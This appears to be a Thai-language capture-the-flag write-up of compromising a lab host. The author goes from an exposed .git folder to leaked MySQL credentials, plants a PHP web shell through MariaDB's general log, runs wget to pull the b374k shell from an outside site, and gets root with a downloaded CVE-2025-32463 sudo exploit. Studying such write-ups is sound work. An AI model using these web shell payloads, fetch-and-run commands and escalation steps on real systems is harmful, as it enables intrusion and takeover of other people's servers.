
โจทย์นี้คือโครตท้าทายมาก เพราะมีการกันหนาพอตัว แต่ก็สามารถเอา Flag ทั้ง 2 ออกมาได้ OwO
หาทางเข้า Database
ทีนี้มาเริ่มหากันเลยดีว่า ~

พอเปิดหน้าเว็บมาก็นึกโจทย์ “Rain or rain” ขึ้นมาก็เลยลอง Injection เข้าไปดู

เอ๋ โจมตีไม่ได้หรอ แบบนี้งานยากซะแล้วสิ O-O! แล้วทำยังไงทีละ
ด้วยความที่ลองทั้ง Inspect code หรือเช็ค HTTP Request แล้วก็ไม่มีช่องโหว่ไหนโผล่ออกมาเลยแฮ่ะ
จึงลองใช้ ffuf ในการสแกนดูว่าจะเจอ Path อะไรแปลก ๆ
mrwan2546@macbook Downloads % ffuf -w ./common.txt -recursion -u http://172.18.0.35/FUZZ
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/
v2.1.0-dev________________________________________________
:: Method : GET :: URL : http://172.18.0.35/FUZZ :: Wordlist : FUZZ: /Users/mrwan2546/Downloads/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500________________________________________________
.git [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 27ms] <- ???[INFO] Adding a new job to the queue: http://172.18.0.35/.git/FUZZ...เอ๊ะ นั่นมัน .git file นิ หรือว่าอาจมีการดึงข้อมูลจาก GitHub ออกมาได้ ซึ่งโดยตามปกติแล้ว GitHub จะสามารถ restore file ได้ แต่ว่า… ทำยังไงหว่า 5555
ก็เลยไปหาดูไปเจอบทความนี้มา https://captainnoob.medium.com/source-code-disclosure-via-exposed-git-folder-d22919c590a2
พอเจอแบบนี้แล้วก็ทำการดึง .git folder ลงมาทั้งก้อนซะเลย!
wget --mirror -I .git http://172.18.0.35/.git/mrwan2546@macbook 172.18.0.35 % git statusOn branch masterChanges not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: bak.php deleted: index.php
no changes added to commit (use "git add" and/or "git commit -a")อื้ม! เหมือนจะเจอแล้วละ ต่อไปจะทำการ git restore เพื่อกู้คืน File content git ที่หายไป
mrwan2546@macbook 172.18.0.35 % git restore .mrwan2546@macbook 172.18.0.35 % ls -latotal 24drwxr-xr-x 5 mrwan2546 staff 160 Sep 14 12:00 .drwxr-xr-x 5 mrwan2546 staff 160 Sep 14 11:58 ..drwxr-xr-x 22 mrwan2546 staff 704 Sep 14 12:00 .git-rw-r--r-- 1 mrwan2546 staff 226 Sep 14 12:00 bak.php-rwxr-xr-x 1 mrwan2546 staff 6589 Sep 14 12:00 index.phpmrwan2546@macbook 172.18.0.35 %ได้มาแล้ว! ทีนี้ไหนลองดูซิ๊ว่าด้านไหน index.php ว่ามีอะไรบ้าง
<?phpdeclare(strict_types=1);
// ======= DB CONFIG =======$DB_HOST = '127.0.0.1';$DB_NAME = 'dev_tornado_siren';$DB_USER = 'devlnw'; // แก้ให้ตรงเครื่องคุณ$DB_PASS = 'RaciNovEroAsHierSHanTemiNETeL'; // แก้ให้ตรงเครื่องคุณ$DSN = "mysql:host={$DB_HOST};dbname={$DB_NAME};charset=utf8mb4";
...เหมือนเจอ User & Pass ของ MySQL แฮ่ะ งั้น.. แสดงว่า.. มันสามารถเข้าผ่าน Port 3306 ของ MySQL ได้ งั้นลองดูหน่อยซิ๊
mrwan2546@macbook ~ % mysql -h 172.18.0.35 -u devlnw -p -D dev_tornado_sirenEnter password:Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 57Server version: 5.5.5-10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>เย้! เข้ามาได้แล้ว!
หาทางเข้า Shell
ทีนี้พอเราเข้ามาได้แล้ว ไหนลองเช็คดูว่ามี flag ซ่อนในนี้ไหม
mysql> SHOW TABLES;+-----------------------------+| Tables_in_dev_tornado_siren |+-----------------------------+| dev_test_user || tornado_observations |+-----------------------------+2 rows in set (0.019 sec)
mysql>อืมมม ไม่มีเลยแฮ่ะ แต่เอ๊ะ! อะไรคือ dev_test_user ก็เลยลองเข้าไปดู
mysql> select * from dev_test_user;+----+----------+----------+---------------------+| id | username | password | created_at |+----+----------+----------+---------------------+| 1 | devlnw | lnwza888 | 2025-09-14 04:55:32 |+----+----------+----------+---------------------+1 row in set (0.020 sec)
mysql>เหมือนเป็น User & Pass ทางเข้าอะไรสักอย่าง เดียวเก็บไว้ก่อนละกัน
Username: devlnwPassword: lnwza888แล้วทีนี้จะเข้าไปเครื่องยังไงดีกันนะ เพราะลองเช็คแล้วเหมือนจะหา Flag อะไรในนั้นแทบไม่ได้เลยแฮ่ะ ทีนี้นึกขึ้ได้ว่า เราสามารถเขียน File เข้าไปใน MySQL เพื่อให้เขียน File ออกมาได้
mysql> SELECT '<?php system("id")' INTO OUTFILE '/var/www/html/shell.php';ERROR 1045 (28000): Access denied for user 'devlnw'@'%' (using password: YES)เอ๋ ไม่ได้แฮ่ะ โดน Access denied เฉยเลย ;w; แล้วลองเขียนแบบ system ไปแบบโต้ง ๆ ดู
mysql> system idERROR: 'system' command received, but the --system-command option is off. Skipping.แล้วจะเข้าไป Shell ได้ยังไงนิ ติดแบบนี้
แต่นึกขึ้นได้อีกอย่าง MySQL มันมีสิ่งที่เรียกว่าเขียน Log file ขึ้นมานิ ทีนี้ลองไปค้นข้อมูลมาว่า “เราสามารถ Overwrite path logging ได้” ซึ่งตอนนั้นนึกว่ามันจะได้หรอ ก็เลยลองดู
mysql> SET GLOBAL general_log_file = '/var/www/html/shell.php';Query OK, 0 rows affected (0.022 sec)
mysql> SET GLOBAL log_output = 'FILE';Query OK, 0 rows affected (0.018 sec)
mysql> SET GLOBAL general_log = 'ON';Query OK, 0 rows affected (0.020 sec)
mysql> SELECT "<?php system($_GET['cmd']) ;?>";+--------------------------------+| <?php system($_GET['cmd']) ;?> |+--------------------------------+| <?php system($_GET['cmd']) ;?> |+--------------------------------+1 row in set (0.019 sec)
mysql> SET GLOBAL general_log = 'OFF';Query OK, 0 rows affected (0.024 sec)
mysql>ทีนี้ลองเข้าเว็บตามที่เขียนดูตามลิ้งก์ http://172.18.0.35/shell.php?cmd=whoami
/usr/sbin/mariadbd, Version: 10.11.13-MariaDB-0ubuntu0.24.04.1 (Ubuntu 24.04). started with: Tcp port: 3306 Unix socket: /run/mysqld/mysqld.sock Time Id Command Argument 250914 5:10:38 57 Query SELECT "www-data" 250914 5:10:41 57 Query SET GLOBAL general_log = 'OFF'เฮ้ย! ได้ไง O-O!!! ทำแบบนี้ได้ด้วยหรอ ก็เลยลองทำท่าเหมือนโจทย์ TEMPEST POST OFFICE ดูโดยการใช้ ncat ควบคุมดู

เงียบกริบ… ทำไมไม่ได้กันนะ?
ก็เลยลองหาท่าอื่นดู โดยการจะฝัง PHP b374k เพื่อให้สร้าง Bind shell ออกมาด้านนอก โดยการโหลดไฟล์ลงมาก่อน
ป้อนคำสั่ง wget เพื่อ Download script ลงมา
http://172.18.0.35/shell.php?cmd=wget%20-O%20attack.php%20https://webshell.org/b374k-shell.txtจากนนั้นเข้าผ่านเว็บ http://172.18.0.35/attack.php

แหม่ ~ ไม่ได้เจอหน้านี้นามา— อุ่ย 5555 กลับเข้าเรื่องก่อน
ทีนี้จะใช้ Bind shell เพื่อเข้า Shell ของเครื่อง

ตอนนี้เข้ามาใน Shell ได้สำเร็จแล้ว! ทีนี้ได้เวลาล่า Flag กัน!
หา Flag อันที่ #1
เรามาหา Flag แรกกัน
เราก็จะเช็คก่อนว่า Flag ซ่อนไว้ไหนโดยใช้โจทย์คล้าย ๆ กับ “TEMPEST POST OFFICE” เพื่อดู File /random.sh
# เส้นทางไฟล์ปลายทางf1="/home/devlnw/flag.txt"f2="/root/flag.txt"เอาละเราเจอแหล่งไฟล์ flag.txt โดยจะซ่อนอยู่ในทั้ง /home/devlnw/flag.txt และ /root/flag.txt
ทีนี้ลองอ่านดูว่าอ่านได้ไหม
cat: /home/devlnw/flag.txt: Permission deniedอ่านไมไม่ได้แฮ่ะ แล้วลองเข้า User devlnw ดู
/var/www/html>su devlnwPassword: ??su: Authentication failureแล้วรหัสอะไรละ? แต่เอ๊ะ! เหมือน User นี้จะเจอใน Database ก่อนหน้านี้เลย
งั้นแสดงว่า… นั้นคือ Password สำหรันเข้า User devlnw สินะ
/var/www/html>su devlnwPassword: lnwza888iduid=1001(devlnw) gid=1001(devlnw) groups=1001(devlnw)สรุปเข้าได้จริงด้วย! งั้นไปเอา Flag อันที่ 1 กัน!
cat /home/devlnw/flag.txtTEMPEST{22455c611d206a5e6e500631828a8c9f}exitได้มาแล้ว! >w< “
TEMPEST{22455c611d206a5e6e500631828a8c9f}หา Flag อันที่ #2
ต่อไปงานหินแล้วละ Flag อันที่ 2 อันนั้นอยู่ใน root account ซึ่งเราไม่สามารถจะไปอ่านตรง ๆ กันได้
โดยได้ลองเข้าไป sudo เพือเข้า User root โดยตรงแต่…
/var/www/html>sudo -S su -
We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password: ???Sorry, try again.Password: ???Sorry, try again.Password: QwQsudo: 3 incorrect password attempts/var/www/html>รหัสอะไร ;w; เราก็ไม่รู้อีกว่า www-data คืออะไร เพราะโดยปกติแล้ว www-data จะไม่ต้องป้อนรหัสอะไรเลย ก็สามารถเข้าไปได้โดยตรง
/var/www/html>cat /etc/passwdroot:x:0:0:root:/root:/bin/bash...www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin <- ไมต้อง Login...ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashdevlnw:x:1001:1001::/home/devlnw:/bin/bash.../var/www/html>ทีนี้ก็นั่งงมหลายชั่วโมงมาก จนกระทั่งไปเจอ Tool นี้มา https://github.com/peass-ng/PEASS-ng (ขอบคุณ Krits ที่ช่วยหา)
เป็นอุปกรณ์ที่ช่วยสแกนค้นหาช่องโหว่ที่เป็นไปได้ โดยความเป็นไปได้สูงสุดจะขึ้นสีแดง
หลังลองสแกนเจอสิ่งนี้
/var/www/html>curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh...
-rwsr-xr-x 1 root root 40K May 30 2024 /usr/bin/newgrp ---> HP-UX_10.20-rwsr-xr-x 1 root root 72K May 30 2024 /usr/bin/chfn ---> SuSE_9.3/10-rwsr-xr-x 1 root root 44K May 30 2024 /usr/bin/chsh-rwsr-xr-x 1 root root 75K May 30 2024 /usr/bin/gpasswd-rwsr-xr-x 1 root root 1019K Sep 8 20:31 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
...เหมือนตัว PRESS-ng เจอว่า sudo จะมีช่องโหว่ที่สามารถทำอะไรได้สักอย่าง ก็เลยลองเช็ค Version ดูและค้นหา ปรากฏว่า

เป็น CVE-2025-32463 ที่สามารถยกสิทธิ์ตัวเราเป็น root ได้โดยการใช้ chroot โจมตี ซึ่งระดับความอันตรายอยู่ที่ 9.3 ถือว่าอันตรายสุด! ทำให้ผมอึ้งไปสักพักเลย O-O!!!
ทีนี้ก็ลองค้นหาตัว CVE นี้ ก็ไปเจอ Script นี้มา: https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
เป็นการปรับ GUID และ UID ให้เป็น 0 เพื่อปรับสิทธิตัวเองเป็น root User และใช้ sudo เพื่อยกสิทธิ์อีกที
ทีนี้ลองโจมตีกัน
/var/www/html>curl https://raw.githubusercontent.com/pr0v3rbs/CVE-2025-32463_chwoot/refs/heads/main/sudo-chwoot.sh > sudo-chwoot.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 1046 100 1046 0 0 2306 0 --:--:-- --:--:-- --:--:-- 2303/var/www/html>chmod +x ./sudo-chwoot.sh/var/www/html>./sudo-chwoot.shwoot!iduid=0(root) gid=0(root) groups=0(root),33(www-data) <-- !!!!เฮ้ยยย O-O!!!! ยกสิทธิ์ได้จริงด้วย! โครตตกใจจริงที่สามารถยกสิทธิ์ได้แบบนี้เลย แต่ใจเย็น ๆ ก่อน เป้าหมายเราคือหา Flag อันที่ 2 ก่อน
ls /rootflag.txtcat /root/flag.txtTEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}เย้! ได้มาแล้ว!!!
TEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}